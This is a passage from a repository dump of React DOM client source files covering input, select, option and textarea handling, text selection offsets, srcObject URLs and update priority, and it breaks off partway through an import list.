2. The defaultChecked React property when present\n    //   3. Otherwise, false\n    node.defaultChecked = !node.defaultChecked;\n    node.defaultChecked = !!initialChecked;\n  }\n\n  // Name needs to be set at the end so that it applies atomically to connected radio buttons.\n  if (\n    name != null &&\n    typeof name !== 'function' &&\n    typeof name !== 'symbol' &&\n    typeof name !== 'boolean'\n  ) {\n    if (__DEV__) {\n      checkAttributeStringCoercion(name, 'name');\n    }\n    node.name = name;\n  }\n  track((element: any));\n}\n\nexport function hydrateInput(\n  element: Element,\n  value: ?string,\n  defaultValue: ?string,\n  checked: ?boolean,\n  defaultChecked: ?boolean,\n): void {\n  const node: HTMLInputElement = (element: any);\n\n  const defaultValueStr =\n    defaultValue != null ? toString(getToStringValue(defaultValue)) : '';\n  const initialValue =\n    value != null ? toString(getToStringValue(value)) : defaultValueStr;\n\n  const checkedOrDefault = checked != null ? checked : defaultChecked;\n  // TODO: This 'function' or 'symbol' check isn't replicated in other places\n  // so this semantic is inconsistent.\n  const initialChecked =\n    typeof checkedOrDefault !== 'function' &&\n    typeof checkedOrDefault !== 'symbol' &&\n    !!checkedOrDefault;\n\n  // Detach .checked from .defaultChecked but leave user input alone\n  node.checked = node.checked;\n\n  const changed = trackHydrated((node: any), initialValue, initialChecked);\n  if (changed) {\n    // If the current value is different, that suggests that the user\n    // changed it before hydration. Queue a replay of the change event.\n    // For radio buttons the change event only fires on the selected one.\n    if (node.type !== 'radio' || node.checked) {\n      queueChangeEvent(node);\n    }\n  }\n}\n\nexport function restoreControlledInputState(element: Element, props: Object) {\n  const rootNode: HTMLInputElement = (element: any);\n  updateInput(\n    rootNode,\n    props.value,\n    props.defaultValue,\n    props.defaultValue,\n    props.checked,\n    props.defaultChecked,\n    props.type,\n    props.name,\n  );\n  const name = props.name;\n  if (props.type === 'radio' && name != null) {\n    let queryRoot: Element = rootNode;\n\n    while (queryRoot.parentNode) {\n      queryRoot = ((queryRoot.parentNode: any): Element);\n    }\n\n    // If `rootNode.form` was non-null, then we could try `form.elements`,\n    // but that sometimes behaves strangely in IE8. We could also try using\n    // `form.getElementsByName`, but that will only return direct children\n    // and won't include inputs that use the HTML5 `form=` attribute. Since\n    // the input might not even be in a form. It might not even be in the\n    // document. Let's just use the local `querySelectorAll` to ensure we don't\n    // miss anything.\n    if (__DEV__) {\n      checkAttributeStringCoercion(name, 'name');\n    }\n    const group = queryRoot.querySelectorAll(\n      'input[name=\"' +\n        escapeSelectorAttributeValueInsideDoubleQuotes('' + name) +\n        '\"][type=\"radio\"]',\n    );\n\n    for (let i = 0; i < group.length; i++) {\n      const otherNode = ((group[i]: any): HTMLInputElement);\n      if (otherNode === rootNode || otherNode.form !== rootNode.form) {\n        continue;\n      }\n      // This will throw if radio buttons rendered by different copies of React\n      // and the same name are rendered into the same form (same as #1939).\n      // That's probably okay; we don't support it just as we don't support\n      // mixing React radio buttons with non-React ones.\n      const otherProps: any = getFiberCurrentPropsFromNode(otherNode);\n\n      if (!otherProps) {\n        throw new Error(\n          'ReactDOMInput: Mixing React and non-React radio inputs with the ' +\n            'same `name` is not supported.',\n        );\n      }\n\n      // If this is a controlled radio button group, forcing the input that\n      // was previously checked to update will cause it to be come re-checked\n      // as appropriate.\n      updateInput(\n        otherNode,\n        otherProps.value,\n        otherProps.defaultValue,\n        otherProps.defaultValue,\n        otherProps.checked,\n        otherProps.defaultChecked,\n        otherProps.type,\n        otherProps.name,\n      );\n    }\n\n    // If any updateInput() call set .checked to true, an input in this group\n    // (often, `rootNode` itself) may have become unchecked\n    for (let i = 0; i < group.length; i++) {\n      const otherNode = ((group[i]: any): HTMLInputElement);\n      if (otherNode.form !== rootNode.form) {\n        continue;\n      }\n      updateValueIfChanged(otherNode);\n    }\n  }\n}\n\n// In Chrome, assigning defaultValue to certain input types triggers input validation.\n// For number inputs, the display value loses trailing decimal points. For email inputs,\n// Chrome raises \"The specified value <x> is not a valid email address\".\n//\n// Here we check to see if the defaultValue has actually changed, avoiding these problems\n// when the user is inputting text\n//\n// https://github.com/facebook/react/issues/7253\nexport function setDefaultValue(\n  node: HTMLInputElement,\n  type: ?string,\n  value: ToStringValue,\n) {\n  if (\n    // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n    type !== 'number' ||\n    getActiveElement(node.ownerDocument) !== node\n  ) {\n    if (node.defaultValue !== toString(value)) {\n      node.defaultValue = toString(value);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMOption.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {Children} from 'react';\n\nlet didWarnSelectedSetOnOption = false;\nlet didWarnInvalidChild = false;\nlet didWarnInvalidInnerHTML = false;\n\n/**\n * Implements an <option> host component that warns when `selected` is set.\n */\n\nexport function validateOptionProps(element: Element, props: Object) {\n  if (__DEV__) {\n    // If a value is not provided, then the children must be simple.\n    if (props.value == null) {\n      if (typeof props.children === 'object' && props.children !== null) {\n        Children.forEach(props.children, function (child) {\n          if (child == null) {\n            return;\n          }\n          if (\n            typeof child === 'string' ||\n            typeof child === 'number' ||\n            typeof child === 'bigint'\n          ) {\n            return;\n          }\n          if (!didWarnInvalidChild) {\n            didWarnInvalidChild = true;\n            console.error(\n              'Cannot infer the option value of complex children. ' +\n                'Pass a `value` prop or use a plain string as children to <option>.',\n            );\n          }\n        });\n      } else if (props.dangerouslySetInnerHTML != null) {\n        if (!didWarnInvalidInnerHTML) {\n          didWarnInvalidInnerHTML = true;\n          console.error(\n            'Pass a `value` prop if you set dangerouslyInnerHTML so React knows ' +\n              'which value should be selected.',\n          );\n        }\n      }\n    }\n\n    // TODO: Remove support for `selected` in <option>.\n    if (props.selected != null && !didWarnSelectedSetOnOption) {\n      console.error(\n        'Use the `defaultValue` or `value` props on <select> instead of ' +\n          'setting `selected` on <option>.',\n      );\n      didWarnSelectedSetOnOption = true;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMSelect.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// TODO: direct imports like some-package/src/* are bad. Fix me.\nimport {getCurrentFiberOwnerNameInDevOrNull} from 'react-reconciler/src/ReactCurrentFiber';\n\nimport {getToStringValue, toString} from './ToStringValue';\nimport isArray from 'shared/isArray';\nimport {queueChangeEvent} from '../events/ReactDOMEventReplaying';\n\nlet didWarnValueDefaultValue;\n\nif (__DEV__) {\n  didWarnValueDefaultValue = false;\n}\n\nfunction getDeclarationErrorAddendum() {\n  const ownerName = getCurrentFiberOwnerNameInDevOrNull();\n  if (ownerName) {\n    return '\\n\\nCheck the render method of `' + ownerName + '`.';\n  }\n  return '';\n}\n\nconst valuePropNames = ['value', 'defaultValue'];\n\n/**\n * Validation function for `value` and `defaultValue`.\n */\nfunction checkSelectPropTypes(props: any) {\n  if (__DEV__) {\n    for (let i = 0; i < valuePropNames.length; i++) {\n      const propName = valuePropNames[i];\n      if (props[propName] == null) {\n        continue;\n      }\n      const propNameIsArray = isArray(props[propName]);\n      if (props.multiple && !propNameIsArray) {\n        console.error(\n          'The `%s` prop supplied to <select> must be an array if ' +\n            '`multiple` is true.%s',\n          propName,\n          getDeclarationErrorAddendum(),\n        );\n      } else if (!props.multiple && propNameIsArray) {\n        console.error(\n          'The `%s` prop supplied to <select> must be a scalar ' +\n            'value if `multiple` is false.%s',\n          propName,\n          getDeclarationErrorAddendum(),\n        );\n      }\n    }\n  }\n}\n\nfunction updateOptions(\n  node: HTMLSelectElement,\n  multiple: boolean,\n  propValue: any,\n  setDefaultSelected: boolean,\n) {\n  const options: HTMLOptionsCollection = node.options;\n\n  if (multiple) {\n    const selectedValues = (propValue: Array<string>);\n    const selectedValue: {[string]: boolean} = {};\n    for (let i = 0; i < selectedValues.length; i++) {\n      // Prefix to avoid chaos with special keys.\n      selectedValue['$' + selectedValues[i]] = true;\n    }\n    for (let i = 0; i < options.length; i++) {\n      const selected = selectedValue.hasOwnProperty('$' + options[i].value);\n      if (options[i].selected !== selected) {\n        options[i].selected = selected;\n      }\n      if (selected && setDefaultSelected) {\n        options[i].defaultSelected = true;\n      }\n    }\n  } else {\n    // Do not set `select.value` as exact behavior isn't consistent across all\n    // browsers for all cases.\n    const selectedValue = toString(getToStringValue(propValue));\n    let defaultSelected = null;\n    for (let i = 0; i < options.length; i++) {\n      if (options[i].value === selectedValue) {\n        options[i].selected = true;\n        if (setDefaultSelected) {\n          options[i].defaultSelected = true;\n        }\n        return;\n      }\n      if (defaultSelected === null && !options[i].disabled) {\n        defaultSelected = options[i];\n      }\n    }\n    if (defaultSelected !== null) {\n      defaultSelected.selected = true;\n    }\n  }\n}\n\n/**\n * Implements a <select> host component that allows optionally setting the\n * props `value` and `defaultValue`. If `multiple` is false, the prop must be a\n * stringable. If `multiple` is true, the prop must be an array of stringables.\n *\n * If `value` is not supplied (or null/undefined), user actions that change the\n * selected option will trigger updates to the rendered options.\n *\n * If it is supplied (and not null/undefined), the rendered options will not\n * update in response to user actions. Instead, the `value` prop must change in\n * order for the rendered options to update.\n *\n * If `defaultValue` is provided, any options with the supplied values will be\n * selected.\n */\n\nexport function validateSelectProps(element: Element, props: Object) {\n  if (__DEV__) {\n    checkSelectPropTypes(props);\n    if (\n      props.value !== undefined &&\n      props.defaultValue !== undefined &&\n      !didWarnValueDefaultValue\n    ) {\n      console.error(\n        'Select elements must be either controlled or uncontrolled ' +\n          '(specify either the value prop, or the defaultValue prop, but not ' +\n          'both). Decide between using a controlled or uncontrolled select ' +\n          'element and remove one of these props. More info: ' +\n          'https://react.dev/link/controlled-components',\n      );\n      didWarnValueDefaultValue = true;\n    }\n  }\n}\n\nexport function initSelect(\n  element: Element,\n  value: ?string,\n  defaultValue: ?string,\n  multiple: ?boolean,\n) {\n  const node: HTMLSelectElement = (element: any);\n  node.multiple = !!multiple;\n  if (value != null) {\n    updateOptions(node, !!multiple, value, false);\n  } else if (defaultValue != null) {\n    updateOptions(node, !!multiple, defaultValue, true);\n  }\n}\n\nexport function hydrateSelect(\n  element: Element,\n  value: ?string,\n  defaultValue: ?string,\n  multiple: ?boolean,\n): void {\n  const node: HTMLSelectElement = (element: any);\n  const options: HTMLOptionsCollection = node.options;\n\n  const propValue: any = value != null ? value : defaultValue;\n\n  let changed = false;\n\n  if (multiple) {\n    const selectedValues = (propValue: ?Array<string>);\n    const selectedValue: {[string]: boolean} = {};\n    if (selectedValues != null) {\n      for (let i = 0; i < selectedValues.length; i++) {\n        // Prefix to avoid chaos with special keys.\n        selectedValue['$' + selectedValues[i]] = true;\n      }\n    }\n    for (let i = 0; i < options.length; i++) {\n      const expectedSelected = selectedValue.hasOwnProperty(\n        '$' + options[i].value,\n      );\n      if (options[i].selected !== expectedSelected) {\n        changed = true;\n        break;\n      }\n    }\n  } else {\n    let selectedValue =\n      propValue == null ? null : toString(getToStringValue(propValue));\n    for (let i = 0; i < options.length; i++) {\n      if (selectedValue == null && !options[i].disabled) {\n        // We expect the first non-disabled option to be selected if the selected is null.\n        selectedValue = options[i].value;\n      }\n      const expectedSelected = options[i].value === selectedValue;\n      if (options[i].selected !== expectedSelected) {\n        changed = true;\n        break;\n      }\n    }\n  }\n  if (changed) {\n    // If the current selection is different than our initial that suggests that the user\n    // changed it before hydration. Queue a replay of the change event.\n    queueChangeEvent(node);\n  }\n}\n\nexport function updateSelect(\n  element: Element,\n  value: ?string,\n  defaultValue: ?string,\n  multiple: ?boolean,\n  wasMultiple: ?boolean,\n) {\n  const node: HTMLSelectElement = (element: any);\n\n  if (value != null) {\n    updateOptions(node, !!multiple, value, false);\n  } else if (!!wasMultiple !== !!multiple) {\n    // For simplicity, reapply `defaultValue` if `multiple` is toggled.\n    if (defaultValue != null) {\n      updateOptions(node, !!multiple, defaultValue, true);\n    } else {\n      // Revert the select back to its default unselected state.\n      updateOptions(node, !!multiple, multiple ? [] : '', false);\n    }\n  }\n}\n\nexport function restoreControlledSelectState(element: Element, props: Object) {\n  const node: HTMLSelectElement = (element: any);\n  const value = props.value;\n\n  if (value != null) {\n    updateOptions(node, !!props.multiple, value, false);\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMSelection.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport getNodeForCharacterOffset from './getNodeForCharacterOffset';\nimport {TEXT_NODE} from './HTMLNodeType';\n\n/**\n * @param {DOMElement} outerNode\n * @return {?object}\n */\nexport function getOffsets(outerNode) {\n  const {ownerDocument} = outerNode;\n  const win = (ownerDocument && ownerDocument.defaultView) || window;\n  const selection = win.getSelection && win.getSelection();\n\n  if (!selection || selection.rangeCount === 0) {\n    return null;\n  }\n\n  const {anchorNode, anchorOffset, focusNode, focusOffset} = selection;\n\n  // In Firefox, anchorNode and focusNode can be \"anonymous divs\", e.g. the\n  // up/down buttons on an <input type=\"number\">. Anonymous divs do not seem to\n  // expose properties, triggering a \"Permission denied error\" if any of its\n  // properties are accessed. The only seemingly possible way to avoid erroring\n  // is to access a property that typically works for non-anonymous divs and\n  // catch any error that may otherwise arise. See\n  // https://bugzilla.mozilla.org/show_bug.cgi?id=208427\n  try {\n    /* eslint-disable ft-flow/no-unused-expressions */\n    anchorNode.nodeType;\n    focusNode.nodeType;\n    /* eslint-enable ft-flow/no-unused-expressions */\n  } catch (e) {\n    return null;\n  }\n\n  return getModernOffsetsFromPoints(\n    outerNode,\n    anchorNode,\n    anchorOffset,\n    focusNode,\n    focusOffset,\n  );\n}\n\n/**\n * Returns {start, end} where `start` is the character/codepoint index of\n * (anchorNode, anchorOffset) within the textContent of `outerNode`, and\n * `end` is the index of (focusNode, focusOffset).\n *\n * Returns null if you pass in garbage input but we should probably just crash.\n *\n * Exported only for testing.\n */\nexport function getModernOffsetsFromPoints(\n  outerNode,\n  anchorNode,\n  anchorOffset,\n  focusNode,\n  focusOffset,\n) {\n  let length = 0;\n  let start = -1;\n  let end = -1;\n  let indexWithinAnchor = 0;\n  let indexWithinFocus = 0;\n  let node = outerNode;\n  let parentNode = null;\n\n  outer: while (true) {\n    let next = null;\n\n    while (true) {\n      if (\n        node === anchorNode &&\n        (anchorOffset === 0 || node.nodeType === TEXT_NODE)\n      ) {\n        start = length + anchorOffset;\n      }\n      if (\n        node === focusNode &&\n        (focusOffset === 0 || node.nodeType === TEXT_NODE)\n      ) {\n        end = length + focusOffset;\n      }\n\n      if (node.nodeType === TEXT_NODE) {\n        length += node.nodeValue.length;\n      }\n\n      if ((next = node.firstChild) === null) {\n        break;\n      }\n      // Moving from `node` to its first child `next`.\n      parentNode = node;\n      node = next;\n    }\n\n    while (true) {\n      if (node === outerNode) {\n        // If `outerNode` has children, this is always the second time visiting\n        // it. If it has no children, this is still the first loop, and the only\n        // valid selection is anchorNode and focusNode both equal to this node\n        // and both offsets 0, in which case we will have handled above.\n        break outer;\n      }\n      if (parentNode === anchorNode && ++indexWithinAnchor === anchorOffset) {\n        start = length;\n      }\n      if (parentNode === focusNode && ++indexWithinFocus === focusOffset) {\n        end = length;\n      }\n      if ((next = node.nextSibling) !== null) {\n        break;\n      }\n      node = parentNode;\n      parentNode = node.parentNode;\n    }\n\n    // Moving from `node` to its next sibling `next`.\n    node = next;\n  }\n\n  if (start === -1 || end === -1) {\n    // This should never happen. (Would happen if the anchor/focus nodes aren't\n    // actually inside the passed-in node.)\n    return null;\n  }\n\n  return {\n    start: start,\n    end: end,\n  };\n}\n\n/**\n * In modern non-IE browsers, we can support both forward and backward\n * selections.\n *\n * Note: IE10+ supports the Selection object, but it does not support\n * the `extend` method, which means that even in modern IE, it's not possible\n * to programmatically create a backward selection. Thus, for all IE\n * versions, we use the old IE API to create our selections.\n *\n * @param {DOMElement|DOMTextNode} node\n * @param {object} offsets\n */\nexport function setOffsets(node, offsets) {\n  const doc = node.ownerDocument || document;\n  const win = (doc && doc.defaultView) || window;\n\n  // Edge fails with \"Object expected\" in some scenarios.\n  // (For instance: TinyMCE editor used in a list component that supports pasting to add more,\n  // fails when pasting 100+ items)\n  if (!win.getSelection) {\n    return;\n  }\n\n  const selection = win.getSelection();\n  const length = node.textContent.length;\n  let start = Math.min(offsets.start, length);\n  let end = offsets.end === undefined ? start : Math.min(offsets.end, length);\n\n  // IE 11 uses modern selection, but doesn't support the extend method.\n  // Flip backward selections, so we can set with a single range.\n  if (!selection.extend && start > end) {\n    const temp = end;\n    end = start;\n    start = temp;\n  }\n\n  const startMarker = getNodeForCharacterOffset(node, start);\n  const endMarker = getNodeForCharacterOffset(node, end);\n\n  if (startMarker && endMarker) {\n    if (\n      selection.rangeCount === 1 &&\n      selection.anchorNode === startMarker.node &&\n      selection.anchorOffset === startMarker.offset &&\n      selection.focusNode === endMarker.node &&\n      selection.focusOffset === endMarker.offset\n    ) {\n      return;\n    }\n    const range = doc.createRange();\n    range.setStart(startMarker.node, startMarker.offset);\n    selection.removeAllRanges();\n\n    if (start > end) {\n      selection.addRange(range);\n      selection.extend(endMarker.node, endMarker.offset);\n    } else {\n      range.setEnd(endMarker.node, endMarker.offset);\n      selection.addRange(range);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMSrcObject.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function setSrcObject(domElement: Element, tag: string, value: any) {\n  // We optimistically create the URL regardless of object type. This lets us\n  // support cross-realms and any type that the browser supports like new types.\n  const url = URL.createObjectURL((value: any));\n  const loadEvent = tag === 'img' ? 'load' : 'loadstart';\n  const cleanUp = () => {\n    // Once the object has started loading, then it's already collected by the\n    // browser and it won't refer to it by the URL anymore so we can now revoke it.\n    URL.revokeObjectURL(url);\n    domElement.removeEventListener(loadEvent, cleanUp);\n    domElement.removeEventListener('error', cleanUp);\n  };\n  domElement.addEventListener(loadEvent, cleanUp);\n  domElement.addEventListener('error', cleanUp);\n  domElement.setAttribute('src', url);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMTextarea.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport isArray from 'shared/isArray';\n\nimport {getCurrentFiberOwnerNameInDevOrNull} from 'react-reconciler/src/ReactCurrentFiber';\nimport {getToStringValue, toString} from './ToStringValue';\nimport {disableTextareaChildren} from 'shared/ReactFeatureFlags';\n\nimport {track, trackHydrated} from './inputValueTracking';\nimport {queueChangeEvent} from '../events/ReactDOMEventReplaying';\n\nlet didWarnValDefaultVal = false;\n\n/**\n * Implements a <textarea> host component that allows setting `value`, and\n * `defaultValue`. This differs from the traditional DOM API because value is\n * usually set as PCDATA children.\n *\n * If `value` is not supplied (or null/undefined), user actions that affect the\n * value will trigger updates to the element.\n *\n * If `value` is supplied (and not null/undefined), the rendered element will\n * not trigger updates to the element. Instead, the `value` prop must change in\n * order for the rendered element to be updated.\n *\n * The rendered element will be initialized with an empty value, the prop\n * `defaultValue` if specified, or the children content (deprecated).\n */\n\nexport function validateTextareaProps(element: Element, props: Object) {\n  if (__DEV__) {\n    if (\n      props.value !== undefined &&\n      props.defaultValue !== undefined &&\n      !didWarnValDefaultVal\n    ) {\n      console.error(\n        '%s contains a textarea with both value and defaultValue props. ' +\n          'Textarea elements must be either controlled or uncontrolled ' +\n          '(specify either the value prop, or the defaultValue prop, but not ' +\n          'both). Decide between using a controlled or uncontrolled textarea ' +\n          'and remove one of these props. More info: ' +\n          'https://react.dev/link/controlled-components',\n        getCurrentFiberOwnerNameInDevOrNull() || 'A component',\n      );\n      didWarnValDefaultVal = true;\n    }\n    if (props.children != null && props.value == null) {\n      console.error(\n        'Use the `defaultValue` or `value` props instead of setting ' +\n          'children on <textarea>.',\n      );\n    }\n  }\n}\n\nexport function updateTextarea(\n  element: Element,\n  value: ?string,\n  defaultValue: ?string,\n) {\n  const node: HTMLTextAreaElement = (element: any);\n  if (value != null) {\n    // Cast `value` to a string to ensure the value is set correctly. While\n    // browsers typically do this as necessary, jsdom doesn't.\n    const newValue = toString(getToStringValue(value));\n    // To avoid side effects (such as losing text selection), only set value if changed\n    if (newValue !== node.value) {\n      node.value = newValue;\n    }\n    // TOOO: This should respect disableInputAttributeSyncing flag.\n    if (defaultValue == null) {\n      if (node.defaultValue !== newValue) {\n        node.defaultValue = newValue;\n      }\n      return;\n    }\n  }\n  if (defaultValue != null) {\n    node.defaultValue = toString(getToStringValue(defaultValue));\n  } else {\n    node.defaultValue = '';\n  }\n}\n\nexport function initTextarea(\n  element: Element,\n  value: ?string,\n  defaultValue: ?string,\n  children: ?string,\n) {\n  const node: HTMLTextAreaElement = (element: any);\n\n  let initialValue = value;\n\n  // Only bother fetching default value if we're going to use it\n  if (initialValue == null) {\n    if (children != null) {\n      if (!disableTextareaChildren) {\n        if (defaultValue != null) {\n          throw new Error(\n            'If you supply `defaultValue` on a <textarea>, do not pass children.',\n          );\n        }\n\n        if (isArray(children)) {\n          if (children.length > 1) {\n            throw new Error('<textarea> can only have at most one child.');\n          }\n\n          children = children[0];\n        }\n\n        defaultValue = children;\n      }\n    }\n    if (defaultValue == null) {\n      defaultValue = '';\n    }\n    initialValue = defaultValue;\n  }\n\n  const stringValue = getToStringValue(initialValue);\n  node.defaultValue = (stringValue: any); // This will be toString:ed.\n\n  // This is in postMount because we need access to the DOM node, which is not\n  // available until after the component has mounted.\n  const textContent = node.textContent;\n\n  // Only set node.value if textContent is equal to the expected\n  // initial value. In IE10/IE11 there is a bug where the placeholder attribute\n  // will populate textContent as well.\n  // https://developer.microsoft.com/microsoft-edge/platform/issues/101525/\n  if (textContent === stringValue) {\n    if (textContent !== '' && textContent !== null) {\n      node.value = textContent;\n    }\n  }\n\n  track((element: any));\n}\n\nexport function hydrateTextarea(\n  element: Element,\n  value: ?string,\n  defaultValue: ?string,\n): void {\n  const node: HTMLTextAreaElement = (element: any);\n  let initialValue = value;\n  if (initialValue == null) {\n    if (defaultValue == null) {\n      defaultValue = '';\n    }\n    initialValue = defaultValue;\n  }\n  // Track the value that we last observed which is the hydrated value so\n  // that any change event that fires will trigger onChange on the actual\n  // current value.\n  const stringValue = toString(getToStringValue(initialValue));\n  const changed = trackHydrated((node: any), stringValue, false);\n  if (changed) {\n    // If the current value is different, that suggests that the user\n    // changed it before hydration. Queue a replay of the change event.\n    queueChangeEvent(node);\n  }\n}\n\nexport function restoreControlledTextareaState(\n  element: Element,\n  props: Object,\n) {\n  // DOM component is still mounted; update\n  updateTextarea(element, props.value, props.defaultValue);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMUpdatePriority.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {EventPriority} from 'react-reconciler/src/ReactEventPriorities';\n\nimport {getEventPriority} from '../events/ReactDOMEventListener';\nimport {\n  NoEventPriority,\n  DefaultEventPriority,\n} from 'react-reconciler/src/ReactEventPriorities';\n\nimport ReactDOMSharedInternals from 'shared/ReactDOMSharedInternals';\n\nexport function setCurrentUpdatePriority(\n  newPriority: EventPriority,\n  // Closure will consistently not inline this function when it has arity 1\n  // however when it has arity 2 even if the second arg is omitted at every\n  // callsite it seems to inline it even when the internal length of the function\n  // is much longer. I hope this is consistent enough to rely on across builds\n  IntentionallyUnusedArgument?: empty,\n): void {\n  ReactDOMSharedInternals.p /* currentUpdatePriority */ = newPriority;\n}\n\nexport function getCurrentUpdatePriority(): EventPriority {\n  return ReactDOMSharedInternals.p; /* currentUpdatePriority */\n}\n\nexport function resolveUpdatePriority(): EventPriority {\n  const updatePriority = ReactDOMSharedInternals.p; /* currentUpdatePriority */\n  if (updatePriority !== NoEventPriority) {\n    return updatePriority;\n  }\n  const currentEvent = window.event;\n  if (currentEvent === undefined) {\n    return DefaultEventPriority;\n  }\n  return getEventPriority(currentEvent.type);\n}\n\nexport function runWithPriority<T>(priority: EventPriority, fn: () => T): T {\n  const previousPriority = getCurrentUpdatePriority();\n  try {\n    setCurrentUpdatePriority(priority);\n    return fn();\n  } finally {\n    setCurrentUpdatePriority(previousPriority);\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {DOMEventName} from '../events/DOMEventNames';\nimport type {Fiber, FiberRoot} from 'react-reconciler/src/ReactInternalTypes';\nimport type {\n  BoundingRect,\n  IntersectionObserverOptions,\n  ObserveVisibleRectsCallback,\n} from 'react-reconciler/src/ReactTestSelectors';\nimport type {ReactContext, ReactScopeInstance} from 'shared/ReactTypes';\nimport type {AncestorInfoDev} from './validateDOMNesting';\nimport type {FormStatus} from 'react-dom-bindings/src/shared/ReactDOMFormActions';\nimport type {\n  CrossOriginEnum,\n  PreloadImplOptions,\n  PreloadModuleImplOptions,\n  PreinitStyleOptions,\n  PreinitScriptOptions,\n  PreinitModuleScriptOptions,\n} from 'react-dom/src/shared/ReactDOMTypes';\nimport type {TransitionTypes} from 'react/src/ReactTransitionType';\n\nimport {NotPending} from '../shared/ReactDOMFormActions';\n\nimport {setSrcObject} from './ReactDOMSrcObject';\n\nimport {getCurrentRootHostContainer} from 'react-reconciler/src/ReactFiberHostContext';\nimport {runWithFiberInDEV} from 'react-reconciler/src/ReactCurrentFiber';\n\nimport hasOwnProperty from 'shared/hasOwnProperty';\nimport {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';\nimport {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';\n\nexport {\n  setCurrentUpdatePriority,\n  getCurrentUpdatePriority,\n  resolveUpdatePriority,\n} from './ReactDOMUpdatePriority';\nimport {\n  precacheFiberNode,\n  updateFiberProps,\n  getFiberCurrentPropsFromNode,\n  getInstanceFromNode,\n  getClosestInstanceFromNode,\n  getFiberFromScopeInstance,\n  getInstanceFromNode as getInstanceFromNodeDOMTree,\n  isContainerMarkedAsRoot,\n  detachDeletedInstance,\n  getResourcesFromRoot,\n  isMarkedHoistable,\n  markNodeAsHoistable,\n  isOwnedInstance,\n} from './ReactDOMComponentTree';\nimport {\n  traverseFragmentInstance,\n  getFragmentParentHostFiber,\n  getInstanceFromHostFiber,\n  isFiberFollowing,\n  isFiberPreceding,\n  getFragmentInstanceSiblings,\n  traverseFragmentInstanceDeeply,\n  fiberIsPortaledIntoHost,\n  isFiberContainedByFragment,\n  isFragmentContainedByFiber,\n} from 'react-reconciler/src/ReactFiberTreeReflection';\nimport {compareDocumentPositionForEmptyFragment} from 'shared/ReactDOMFragmentRefShared';\n\nexport {detachDeletedInstance};\nimport {hasRole} from './DOMAccessibilityRoles';\nimport {\n  setInitialProperties,\n  updateProperties,\n  hydrateProperties,\n  hydrateText,\n  diffHydratedProperties,\n  getPropsFromElement,\n  diffHydratedText,\n  trapClickOnNonInteractiveElement,\n} from './ReactDOMComponent';\nimport {hydrateInput} from './ReactDOMInput';\nimport {hydrateTextarea} from './ReactDOMTextarea';\nimport {hydrateSelect} from './ReactDOMSelect';\nimport {getSelectionInformation, restoreSelection} from './ReactInputSelection';\nimport setTextContent from './setTextContent';\nimport {\n  validateDOMNesting,\n  validateTextNesting,\n  updatedAncestorInfoDev,\n} from './validateDOMNesting';\nimport {\n  isEnabled as ReactBrowserEventEmitterIsEnabled,\n  setEnabled as ReactBrowserEventEmitterSetEnabled,\n} from '../events/ReactDOMEventListener';\nimport {SVG_NAMESPACE, MATH_NAMESPACE} from './DOMNamespaces';\nimport {\n  ELEMENT_NODE,\n  TEXT_NODE,\n  COMMENT_NODE,\n  DOCUMENT_NODE,\n  DOCUMENT_TYPE_NODE,\n  DOCUMENT_FRAGMENT_NODE,\n} from './HTMLNodeType';\n\nimport {\n  flushEventReplaying,\n  retryIfBlockedOn,\n} from '../events/ReactDOMEventReplaying';\n\nimport {\n  enableCreateEventHandleAPI,\n  enableScopeAPI,\n  enableTrustedTypesIntegration,\n  disableLegacyMode,\n  enableMoveBefore,\n  disableCommentsAsDOMContainers,\n  enableSuspenseyImages,\n  enableSrcObject,\n  enableViewTransition,\n  enableHydrationChangeEvent,\n  enableFragmentRefsScrollIntoView,\n  enableProfilerTimer,\n  enableFragmentRefsInstanceHandles,\n  enableFragmentRefsTextNodes,\n} from 'shared/ReactFeatureFlags';\nimport {\n  HostComponent,\n  HostHoistable,\n  HostText,\n  HostSingleton,\n} from 'react-reconciler/src/ReactWorkTags';\nimport {listenToAllSupportedEvents} from '../events/DOMPluginEventSystem';\nimport {validateLinkPropsForStyleResource} from '../shared/ReactDOMResourceValidation';\nimport escapeSelectorAttributeValueInsideDoubleQuotes from './escapeSelectorAttributeValueInsideDoubleQuotes';\nimport {flushSyncWork as flushSyncWorkOnAllRoots} from 'react-reconciler/src/ReactFiberWorkLoop';\nimport {requestFormReset as requestFormResetOnFiber} from 'react-reconciler/src/ReactFiberHooks';\n\nimport ReactDOMSharedInternals from 'shared/ReactDOMSharedInternals';\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\n\nimport noop from 'shared/noop';\nimport estimateBandwidth from 